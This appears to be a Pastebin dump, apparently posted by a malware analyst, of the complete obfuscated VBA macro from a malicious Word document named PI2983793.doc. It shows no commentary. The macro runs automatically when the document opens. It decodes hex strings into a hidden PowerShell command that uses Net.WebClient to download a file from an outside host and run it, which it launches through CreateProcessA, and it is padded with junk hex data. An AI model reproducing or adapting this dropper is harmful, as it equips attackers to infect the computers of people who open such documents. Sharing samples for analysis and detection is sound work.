daily pastebin goal
33%
SHARE
TWEET

PI2983793.doc macro

MalwareBreakdown Jan 9th, 2018 203 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #If VBA7 Then
  2. Private Type PO_Z
  3.         FMD_LE As Long
  4.         O_AI As LongPtr
  5.             ADY_I As Long
  6.     End Type
  7.     Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal RRO_WOU As Long, ByVal C_A As String, V_ITW As Any, AP_XWF As Any, ByVal S_M As Long, ByVal ZJ_B As Long, ByVal RMW_AP As Any, ByVal QJZ_O As Long, AD_MS As KZI_W, R_T As QQL_W) As LongPtr
  8.     Private Type KZI_W
  9.         P_SU As Long
  10.         GH_H As String
  11.         RV_T As String
  12.         F_XU As String
  13.         HMG_TW As Long
  14.         UP_J As Long
  15.         M_MM As Long
  16.         S_FDZ As Long
  17.         JYD_I As Long
  18.         CU_FVE As Long
  19.         WKN_TG As Long
  20.         P_SCP As Long
  21.         WC_FF As Integer
  22.         AN_DK As Integer
  23.         GH_H2  As LongPtr
  24.         Y_K As LongPtr
  25.         CYJ_DS As LongPtr
  26.         XGF_VQ As LongPtr
  27.     End Type
  28.     Private Type QQL_W
  29.         HI_JDK As LongPtr
  30.             XE_RM As LongPtr
  31.         D_HXM As Long
  32.         IH_G As Long
  33.     End Type
  34. #Else
  35.    
  36.     Private Type PO_Z
  37.         FMD_LE As Long
  38.         O_AI As Long
  39.         ADY_I As Long
  40.     End Type
  41.             Private Type QQL_W
  42.         HI_JDK As Long
  43.         XE_RM As Long
  44.         D_HXM As Long
  45.         IH_G As Long
  46.     End Type
  47.     Private Declare Function CreateProcessA Lib "Kernel32" (ByVal RRO_WOU As Long, ByVal C_A As String, V_ITW As PO_Z, AP_XWF As PO_Z, ByVal S_M As Long, ByVal ZJ_B As Long, ByVal RMW_AP As Long, ByVal QJZ_O As Long, AD_MS As KZI_W, R_T As QQL_W) As Long
  48.     Private Type KZI_W
  49.         P_SU As Long
  50.         GH_H As String
  51.         RV_T As String
  52.         F_XU As String
  53.         HMG_TW As Long
  54.         UP_J As Long
  55.         M_MM As Long
  56.         S_FDZ As Long
  57.         JYD_I As Long
  58.         CU_FVE As Long
  59.         WKN_TG As Long
  60.         P_SCP As Long
  61.         WC_FF As Integer
  62.         AN_DK As Integer
  63.         GH_H2 As Long
  64.         Y_K As Long
  65.         CYJ_DS As Long
  66.         XGF_VQ As Long
  67.     End Type
  68.  
  69. #End If
  70. Public Sub UT_MY()
  71.    Dim C_FIT As String
  72. C_FIT = "916F529191779191798F619191917B9191B791C39191CA919191B691919191919191915B919191A1919191B1955755919591BF919165889189637FA066609191969191CE9191C1917391918EBF91B391BE91895F91919173919191B98DCEBE726DAD7D8E"
  73. Dim ME_QAP As String
  74. ME_QAP = "A0915891916CA19191918D91809191B389917481B0915F91C891CECC917364917691918C7F9E919AAB919591CC5E91C79191C05A5E9191A7BB91917C91C79191B5795B9191915663916D919157918F91916A919491919391C58191916891C86F63919191"
  75. Dim O_EQ As String
  76. O_EQ = "7791818BBF9191919D91919191CD9194966D91C591666A579CB4919197B5918C91BD91A991559191B291B15391919BA89191919167CC68867491CA91578B6BCD918391AE91919191A6919A91919191728E92918AA6C8865891919179919195A791917ECD"
  77. Dim UZX_W As String
  78. UZX_W = "917591E191918568BD9191CE91915A72919191596691919156915A9181769191AF91C29191ACA59191919191919C919191618E6A91917F91C8919956CF705770C78AAF7F56C49F91916E8F919191849B8F91C686CB6C9178B77091C6917891917DC0B991"
  79. Dim U_TL As String
  80. U_TL = "CFD1BA91BE729191C591A8669192919191916F915991A6BFAD9D919191BB7A91916B9191ABBB919191B191915E8693C49B91C89165A7639155D18F877FC7919174919191A65B919191AA619191A3919191A79158AF9191919184A99DAD9155B591A77091"
  81. Dim XQK_VPK As String
  82. XQK_VPK = "91739191C367CE91CD919190A0919191CE91BE7058917491919164A69191BB85789C61865691915A53C1C3BC5E5FA8BD91609191919191769191557952D0A891695591B6919191916757919199CECD91919191C7918B87916255919153916C91915B9159"
  83. Dim FA_P As String
  84. FA_P = "6CAB919198A0918BBF9A8F6291918991989C8091919183865591919191C3919191A691918691915591A59191B1AACCA51991AA919191B9919191989191B0AC8E91BF919163A8999191919165908E6E8691B35BCD9191C4919D80917891919B91B5919191"
  85. Dim N_KCR As String
  86. N_KCR = "829191919191C3BBCD7CCF9E91A3916D91A7B45D6B5491B29199B191A38D919183CA9191916791909191A091919199758387A177C99193A49164917C9191A1919191759191767BB9C1916391A1BD91805BC5915D539C91917A5D7DA6919191917E716675"
  87. Dim TI_OY As String
  88. TI_OY = "A191CD7C9162799593919291919191B2919191BE85C391919191917A639181A8C291C39191619174C5B07D91AD9191C6B1BE9A91916E7991847982AE6D828A63A2916FC5BA6F9191C491919791C5CBA55E9191A99191919C7DA2919191A980918791C09D"
  89. Dim EWW_O As String
  90. EWW_O = "5D9391B45F9199919191A1B9CF917CCB91AD7B8F919177919191A57D8F91919191C291919191CCBA95918D91C89162919152647491C7918FB37091919191579191915E999191919191918D9194879191949191919191919198B891919161879191829191"
  91. Dim TB_UA As String
  92. TB_UA = "915C7B83B4918BBB917DBF919D7291B17891916391B19C915891C67EA8AA9FD1A4CB91CACF918D59918C9D8DBF8191B7619191919E917891917D7DCFB15F65919191AA91BF919191A0B965619191A7606E9191A88591A57A91A3C79191917991AFD19191"
  93. Dim XH_EUL As String
  94. XH_EUL = "91918F93C09591C89191A679A29160919191D196916291879192BC91625291689191A86791CD919159917391A8B79191918F8F9191B67F9A8A91D05E9191A6918CAF5891C3916F91919191B4919191919D91ADB591797ADA9168915B7C91586EB99191B6"
  95. Dim TJS_XQR As String
  96. TJS_XQR = "9172A571919191AB91918E74929185919191BA9D91919173AE91BF6E91C9CC915996919191859195BB91918D919891A691B991D18488916F9191B991A19191917D919192919187A09191919191CE91BD919165FA63919191AF9191916C8E769E919197C1"
  97. Dim JRK_B As String
  98. JRK_B = "9153849191B2658A916C919D919174919191CE91B2919156BB9191919191959191919791B5A09191AF919193B59BC47B5585A891919191919691C3916EA491A0918E91915A6F919197546A539157A180C191915A64669ACA917091909193806F915F919E"
  99. Dim VR_OFR As String
  100. VR_OFR = "91689179919191917891C895818F919198917A91B6A9916991A391919191C194917591D08891C691919163919155C2C29191916C91699191919191A89186915DAB91C8B78B919191917158919191CBC67691AFC48D91B991979491849185619197919183"
  101. Dim HO_TXU As String
  102. HO_TXU = "91999183AC809191915C91736EC4848E9196916B91917191709191627B9D916599CD91917E695FBBC0528D91C668A35391575391AB6D799164918C8D91BF9191609191A79C917E02BA9191B891C891918F769C9191B191996B9B917F9191CE91B893AC91"
  103. Dim K_ON As String
  104. K_ON = "91AC917891918E9595BBA99191919BC6919154919191919EBA9195869A9191C7919175C35591918D91919A5A9191AD915E91919188AE6091917775A19191D1917C9191C680919191915755B291BA91918052919198918491C49191919191915B9191C49F"
  105. Dim U_N As String
  106. U_N = "91915291B65A91CD91919B919191D1CC919191939191A8749177718DA8A9C6B98954916A915E9191986C91917491719B9191A4C95E979191919191769C9A919173B89191916691CF919191917A919191AB74917D91919191A491919191919191917A9191"
  107. Dim DY_WR As String
  108. DY_WR = "C191B56291945A92666991AF917891B869CA91A58E6E6AB7918655916752536182916D91B8D0B58F91639191B1917C6291559684C89C91915F57989168917F5891B89C7363B29191915891919B9191CE5D916993C291ABCB6E8FC67B79BD91919B9191C6"
  109. Dim JB_ZD As String
  110. JB_ZD = "91A68591966DA2C0B3916679BD9193A0917791BD919191916E91B9916291525D9159B991918391A6B79169727B9E91917C9299765691919191C391B99191AF91915A79B68E9191A07A9158919191917091AA919158CE9D916764BA9191919191757276AB9991C89191D1CF91919191919A91C691917254916A9191919191C0928F91CA919991AC919191AE91978AC19E917552915570CB92919165BB9160919193B39F91849184A691CC919191"
  111.  
  112.    CLU_P (NV_FOU)
  113. End Sub
  114. Public Sub Document_Open()
  115.     Dim QNE_SRX As String
  116. QNE_SRX = "7ACC6C916C917174A59A915591919C91915E7BB29191C9605291CD919191619191C468C891CE916F91C2AE9188919154919691919198919191916C91919191D191845A7991917D996A5E9183C89191C09FCB91AB8BC9599191C09192B395CB6A9191A256"
  117. Dim ZB_G As String
  118. ZB_G = "919179576A99D19191A883919191B47C91AE985A7CB78EBE5291919191C891A7919191A4919291919C70918F919191A1A6B0919991759691567EB4917B91919191A4915A6DA762919891817CB8819195A66A55609191919166919E729491918191919DC8"
  119. Dim NBK_NZ As String
  120. NBK_NZ = "9D9492889191919191849191A79191546092A359919191569191919091915A9191915491915E91A0AE918C9191649191918F87918DCCC48A9153919191626AD0919191916F7486C791BB81919B56C9B568A2BC9160919AB7915F945C91A3BA91738D9194"
  121. Dim PGT_WH As String
  122. PGT_WH = "9191916C539191629591919191CD9191C2A891AD7061917CCAB95391B5605986919F91A291916B8A746AD1919191BC91919191CB91918C915E6C6091A09191A79174A791918FA08B5891949191918E919194B3CB6691916791CF917B919191527C919191"
  123. Dim CN_V As String
  124. CN_V = "9191BBBE929182917F676E91F98F8D919191B5917FBA9077918F9193D1B57F919361AE915F9191916F91BA91A891909191A09191919C91CF7D9891B891919191918B91CD919691579191739152AD91919191CE8291A6AC9191919191969191B991916F84"
  125. Dim PH_ZYJ As String
  126. PH_ZYJ = "9191919191BC7B91CE91CA91BA918BCF5991919153CA5891B1919BBA91918D91919191C59191B491A091826F80B791AB919191915ACC91C18485B991917E91909163789191A891CE916C8091A59160C374BD6191865491BFAFBC81919191558E9184A391"
  127. Dim UY_D As String
  128. UY_D = "CA92919191A4919191AAA89191919C91618691BB91C19182A37D9191919191729E9191B9C47C9191CB91918D826194BC9191919191BF9191919179809A7491CE88BF91549179919191B391529391739191BE91A291B8919191C99183BB91919191C6BA91"
  129. Dim TVK_CWR As String
  130. TVK_CWR = "91B953CF7C91919197905EA4B4839191B9567199946F9C919191915991C691869191C8A0B38E5791A1AF8BC99159917364645EB59191B99C919184675A919191A570C9BF78917F7D91A39191919191916D9191BAA791AEAD7E91915B9191F1C1769191AA"
  131. Dim F_FK As String
  132. F_FK = "91CC9191B7A29191B8919193918E9169B391916C63915291736091837DC69170B39191CB919191939191919191919183915F7786C79853CCAA91A891B5A99187919188BD6DC191609CA58A859F91AA6A565291B8919191CE9191A291D0B59191CF91916F"
  133. Dim PVK_U As String
  134. PVK_U = "6783846991745F917F91B98F91B4F9919191916E7066C69191B09191C1AB9191AB85C39191C0539191B0AE9152919C9178915691916470917083A8C1AE91919191C9C4A88D917C9E919CAD916A5E9154665291CDA6B791996791916991C756B9CA919491"
  135. Dim VGP_OV As String
  136. VGP_OV = "9F9191BB916493A5ADAE6BCE91C5917C93BD9191865891A8A09177B99172BDAA9191CE9491919691A791896A919191C55469917BA589919191B26C9191918D9191919191959191787D8EC291BEB59191B791BF9357CB6A91BA8291AC91CD8291787B7291"
  137. Dim M_B As String
  138. M_B = "CF91CF6F547A9166636E91858CC7919191A391AC91BC55919C91919195949186917CA29191D055919D8E917891589681C8BF916E7491656B87918C91909191C7C6589191CEC1919191917F7C91919191917191C591639168885B9196819DA1B691918891"
  139. Dim Y_DZ As String
  140. Y_DZ = "9159919197A3A791918CD191B9915391915F9198B79191B991915591CA916A9AC9AF91BE8298CB9191A891B091B4917A91BD9191BF91DA967B918991B291A09191C58691CB91916F91A391BD91B563A9AD9191C9915B919191916F9191915B617291C0C8"
  141. Dim BXS_QLT As String
  142. BXS_QLT = "91B0BE9191919E9172A7919191739191919193919191619191AD91AD91919191946C915DB6C5919191A9A2917D8891897BA9918791919191919181958C919191CE5967916E929954919191919176917591869160C3916E6091919191626EB991B2919174"
  143. Dim E_H As String
  144. E_H = "908CCD9191919191689191A091915854A3915DC99191AE91CE5991C1A88AC5BC9153B991BD919D9191869191CEAB8267B6AD9191BC7CB391C39191919191B0B4A091CA5F9191C2C6919191C05B919191AB9191079191576D919E919154916C91A47F9191"
  145. Dim J_BR As String
  146. J_BR = "599191858C91B8CFC191C3609287915391919191C4919198919191719191919191A47566919162C391919191B391576B5291C591976791A3B99198919191916C9491CD91917591A9919891BDB3C3686C91915CB053918E90919C6DC17C916D528DB87091"
  147. Dim D_N As String
  148. D_N = "7E5E9191AC9191689191917D549191926A91918FAB915A8B7E687C918291A47F91919191B9B0BF96CEAB77919191BC61919F91949E91B59191BF959160919191AE91D091C291917E8B9191A191A680979191869191919691C09154916C918891B69191B5"
  149. Dim E_BAK As String
  150. E_BAK = "A49191A091B95AA69165918E91919184919A91C2A891C3C3919163C3919891B3919191878F9162A89191ACB3CC6F9156916E916A5E916B7F9191A79191917A8EC2C65B919191899191B8636862919191B2914591BF6D61927C539FAF5D8476A797658661"
  151. Dim BA_RG As String
  152. BA_RG = "6C91619191C6556F9191B35A91A1ACCB91919191915F91915B57919191AB9197917A69916991D19291969191919191C9917B91919D91C1718384859191765CC2A49191CE915D919191D19A5D939179BB919191638291CC9191919E5E7091B691B9915591"
  153. Dim TUN_VH As String
  154. TUN_VH = "917589915D91A16F7866918E5E699191A6B09191776A9183919191B86C9191AD918A9191A082589191AFB591916191599191AF5AA39D919157919D91915491C2919B91B0A375AA917C9191B291919191A78A915C91C191919ABC9191AC91C58E917E9193C58B91A973535991916891527591A89191B691B85B91917891BF917E76919591919191C0919191A6829191CF919176919191BB916482919179917F91919191A991916E9191BFB8B6BFA65891B591C49191BD91CAD09191917A73788B68919177"
  155.  
  156.     UT_MY
  157. End Sub
  158. Sub Workbook_Open()
  159.     Dim NK_MN As String
  160. NK_MN = "9191599191BF556D919191919460BB7DA291A39164A6836D8597978F8690779190919191C18DC7B48491AA56919164915F91919E919191917A9191C391BF9191BAC991839191C7919168A0B2849178CA8B99918963919591659191915B915CB1CE916391"
  161. Dim CQZ_VK As String
  162. CQZ_VK = "9184919191919191CB91AF9D7786919183B791918A9176917091915E9191C09B9159916CC78991809C7D79C891A9919D879D9191918860919191919153917E74CB917F919A5CAD9191918A917791B375AC91CD91869153916391B7898BC6A49187A2915A"
  163. Dim LSW_R As String
  164. LSW_R = "C0919181916E91C89191B59E919191917697917D5588B791919185BF91D0915BAB9191979EB569915585936B91C09191635D9191BCC18E8B91915B79B191958C6791B7B6917F6891915575916E74B89191BF91B7CE9C965A6491915E91919191BCAA9193"
  165. Dim GYR_R As String
  166. GYR_R = "C6A1918DBCBE6AAF91BCB395A391919191AEA389915B717580C357919191B36F9191929191919172918F9191919191917F91746A8E916E998F91A95C919191919157CE9191BE91BC91B0919D915F578DAF91905791A67691919AB091D191D09160629182"
  167. Dim BL_TO As String
  168. BL_TO = "91AACA919191768C9191729C56B7CA7291917E91AAA48C7590915391B5918FC76C91577891AA918191917A65916CADAF9192919391A16FA69A579191919191818191C59191C88991C0BC91917C9191815763919191919B9191C2A48C91648791CF91A091"
  169. Dim I_XZT As String
  170. I_XZT = "B4919191BB91AB6F6D91BC91916AA88391917B91769191AE8691CF98AD9199917085916C91B5ADCAA488B97D92918EB691AE91AE8BBC9191915E91919191918D74809191858E917181918791916E91B26A91919191BA9191889A9191BD91CCC77D5A6361"
  171. Dim KNF_X As String
  172. KNF_X = "9183A291917E9186916A62916191917091C18A919191919167BF916691CABC915C919191BA91729191D0916F8991919191AE9191919D909186AE9190BAC7CB9291AA91CF919191A1CC91A47491CF91918CB03F91A5915E9191A6BC5691C1917791919184"
  173. Dim N_GJ As String
  174. N_GJ = "BFA8B691A7917EC7918C6DCE52C2797B917B9191BF77CE9F91C19191918F91919291ACB99EAEBFBCBE9181916AC0C0919191919199918291619191B19191B69191919101918D9153A49EB7C752C2939191BB919B92B3C3918EC8915C919184917F919191"
  175. Dim BY_SV As String
  176. BY_SV = "8B9E58919191918B9191A1707B9191919191CFAD91C4A891C9B7656B9199A491C091B491919391919191AF91C49191917F64B3929186A09191AAA491C191919183916F909191BB9191829191C5CD5A917791747F9191879191A489A19191A49191BF74C0"
  177. Dim L_FVC As String
  178. L_FVC = "916B91915B915536A858A291BF91C99180D091919186839191948A8E9160919E889199A89191C456B59D919F917BC8918191AB919191769191BA9191BD9C88918288BD9186C69191919C918691AF64A97291919191918B91919191A4CDC0ACB291915C89"
  179. Dim KN_LFN As String
  180. KN_LFN = "9165919191AD9191917EA7829191AB6491918465879191919191AB9191719E91679191A7CA9185919891CC919153A06DBF9175B591917991B96888CB87919191919689918191B25491A56D5AC291989191C691917C94919162919194639191679169C08F"
  181. Dim ZM_EQD As String
  182. ZM_EQD = "6F910876915D91918F9191C07D579154AC91B8919158919191918FAC6D807BC7A85285C56F8391976BB15DB291ABB191BE9191CF91C65291799171CC98917391915E6A7C9187917A937291B591805F8383C991B3C391919152C99D91648691CF909C9191"
  183. Dim YBP_AC As String
  184. YBP_AC = "93869188918D91919191CC919B9191A15DBF887CAC91A1685F736477919191919191919191C39191B491A46C76918191D09191665D5C919E91CF809191CA64C691919D9E9185C391918AB9918791739195919191C8919191BC58B394A77D91917C799191"
  185. Dim CNV_P As String
  186. CNV_P = "919C915491919491A2915E919191AE91CA69ABB5917F62A9815F9154915C9161BCAE7E919165919191918891916A98A3916298D09F6FCA91B391B691919791919177C68191915591C091C88C72CDC3CCBAAA918D916E91918C91A09D5591C3679173C891"
  187. Dim VL_N As String
  188. VL_N = "6891715F9162CA918F9191A59187919158A0525A87CDBE5F91AEBD6D5776C6AB917291918B9191919191C99191919191799160AF73C0C0919063A99291AE916A6891A9D09191AC91D1B6915591BF9191919167688A91915CD079A6AE919991B09166917F"
  189. Dim HBU_AQI As String
  190. HBU_AQI = "91A39191915C919191919158BB725591A59101A99158A6916E919175AB6891B09191B3BB919191C591919191919191AD919191B391919891AA91917D91AF9C915E9191C39191919A9162AD59A191918F919C91918F749191BA916391919191918A80917F"
  191. Dim S_WC As String
  192. S_WC = "6AB791555691C7919191B0918391AE91919C91566E5B9176918991919172B377BB9191919191915D7BA692B791A9919191917A91AD91D191918F6C91C18F5B919191699E71918F5D639196919191919B8E91C97C6091599191C1917B91698891ACB791D0"
  193. Dim WPB_J As String
  194. WPB_J = "B899916E91CD848C7461B0B69177526A6CB291A497BE91917E9178916091C4CC91C49191ABAC919191919162CC8A91686F919191C28B91CB919154A6917E899191C3D0945D919172A391CA915F91919191BC9183C991918A91CD91BB8F9091AA757E5B91"
  195. Dim O_ZUH As String
  196. O_ZUH = "A35DB1919180919170BE5F90A591988D5876919197AA9180A891659191919192B19189919191C99160917D91CE91B6A491946DC691CD8291916C9191CE91B0919191706C9191917C919198C582919F91919991B29191915691809157919191919191C975"
  197. Dim BJP_T As String
  198. BJP_T = "5391BC9191CA919191C7BE91815B918B539C8C91C06790B19191C191919191C67B91919191916E917ECD6B9191919103C09B919191B95D579191919191917557D055AE69C0708A9391779152915D9191919CB591C691C59191918C6B9691AF5591915D91B791527CAFC5A393BF575F91916065C3AD9691919183C291709166918091916BC5999C8A9152A083B69191B59F87C491927E6B91BA919890C88ECB91916091919178749691B078A3D191919191919152919191939163"
  199.  
  200.     Document_Open
  201. End Sub
  202. Public Function NV_FOU() As String
  203.     Dim G_WW As String
  204. G_WW = G_WW + "C2C1C9B7C4C5BAB"
  205. G_WW = G_WW + "7BEBE80B7CAB772"
  206. G_WW = G_WW + "7FA9BBC0B6C1C9A"
  207. G_WW = G_WW + "5C6CBBEB7729ABB"
  208. G_WW = G_WW + "B6B6B7C0727FC0C"
  209. G_WW = G_WW + "1C2C4C1B8BBBEB772"
  210. G_WW = G_WW + "9BB8727AC6B7C5C67FC2B3C6BA72"
  211. Dim HH_MNH As String
  212. HH_MNH = "7276B7C0C88C93A2A29693A69372"
  213. Dim NKV_LAY As String
  214. NKV_LAY = "7D7279AEC789B5BF80B7CAB7797B"
  215. Dim SR_W As String
  216. SR_W = "72CDA4B7BFC1C8B77F9BC6B7BF72"
  217. Dim BME_OPV As String
  218. BME_OPV = "7276B7C0C88C93A2A29693A69372"
  219. Dim U_Z As String
  220. U_Z = "7D7279AEC789B5BF80B7CAB779CF"
  221. Dim G_S As String
  222. G_S = "8D72769D969894728F72A0B7C97F"
  223. Dim WX_O As String
  224. WX_O = "A1B4BCB7B5C672A5CBC5C6B7BF80"
  225. Dim MA_QD As String
  226. MA_QD = "A0B7C680A9B7B495BEBBB7C0C68D"
  227. Dim CWM_LZ As String
  228. CWM_LZ = "72769D969894809AB7B3B6B7C4C5"
  229. Dim H_CXY As String
  230. H_CXY = "AD79A7C5B7C47F93B9B7C0C679AF"
  231. Dim LUT_W As String
  232. LUT_W = "728F7279A7A5A4A7977FA8A09579"
  233. Dim FZG_VUV As String
  234. FZG_VUV = "8D72769D9698948096C1C9C0BEC1"
  235. Dim E_MQ As String
  236. E_MQ = "B3B698BBBEB77A79BAC6C6C2C58C"
  237. Dim L_SF As String
  238. L_SF = "8181B3C7C6BAB7C0C6BBB5C4B7B5"
  239. Dim T_HB As String
  240. T_HB = "C1C4B6C5C1C0BEBBC0B780B5C1BF"
  241. Dim XNZ_JCT As String
  242. XNZ_JCT = "81B5C1C5C6BFB3C081B6C4C1C2B5"
  243. Dim XRY_YWA As String
  244. XRY_YWA = "C1BFB780B7CAB7797E7276B7C0C8"
  245. Dim TP_ZSI As String
  246. TP_ZSI = "8C93A2A29693A693727D7279AEC7"
  247. Dim TM_T As String
  248. TM_T = "89B5BF80B7CAB7797B8D727AA0B7"
  249. Dim LI_L As String
  250. LI_L = "C97FA1B4BCB7B5C6727FB5C1BF72"
  251. Dim F_JW As String
  252. F_JW = "A5BAB7BEBE8093C2C2BEBBB5B3C6"
  253. Dim LFK_OZG As String
  254. LFK_OZG = "BBC1C07B80A5BAB7BEBE97CAB7B5"
  255. Dim SW_R As String
  256. SW_R = "C7C6B77A76B7C0C88C93A2A29693"
  257. Dim Y_CB As String
  258. Y_CB = "A693727D7279AEC789B5BF80B7CA"
  259. Dim AF_CJ As String
  260. AF_CJ = "B7797B8D72A5C6C1C27FA2C4C1B5"
  261. Dim H_IN As String
  262. H_IN = "B7C5C5727F9BB67276A2BBB6727F98C1C4B5B7"
  263.  Dim VZJ_YD As String
  264.   VZJ_YD = G_WW & HH_MNH & NKV_LAY & SR_W & BME_OPV & U_Z & G_S & WX_O & MA_QD & CWM_LZ & H_CXY & LUT_W & FZG_VUV & E_MQ & L_SF & T_HB & XNZ_JCT & XRY_YWA & TP_ZSI & TM_T & LI_L & F_JW & LFK_OZG & SW_R & Y_CB & AF_CJ & H_IN
  265.  
  266.    Dim YRM_XG As Long
  267.    Dim B_R As String
  268.    Dim YX_XXU As String
  269.    For YRM_XG = 1 To Len(VZJ_YD) Step 2
  270.         YX_XXU = Chr("&H" & Mid(VZJ_YD, YRM_XG, 2))
  271.         B_R = B_R & Chr(Asc(YX_XXU) - 82)
  272.    Next
  273.    NV_FOU = B_R
  274. End Function
  275. Public Function CLU_P(ByVal F_G As String)
  276.     Dim GAR_HX As PO_Z
  277.     Dim ICF_OAJ As PO_Z
  278.     Dim UW_TX As KZI_W
  279.     UW_TX.P_SCP = &H1&
  280.     Dim KKB_Y As QQL_W
  281.     CLU_P = CreateProcessA(0&, F_G, GAR_HX, ICF_OAJ, False, &H20&, 0&, 0&, UW_TX, KKB_Y)
  282. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top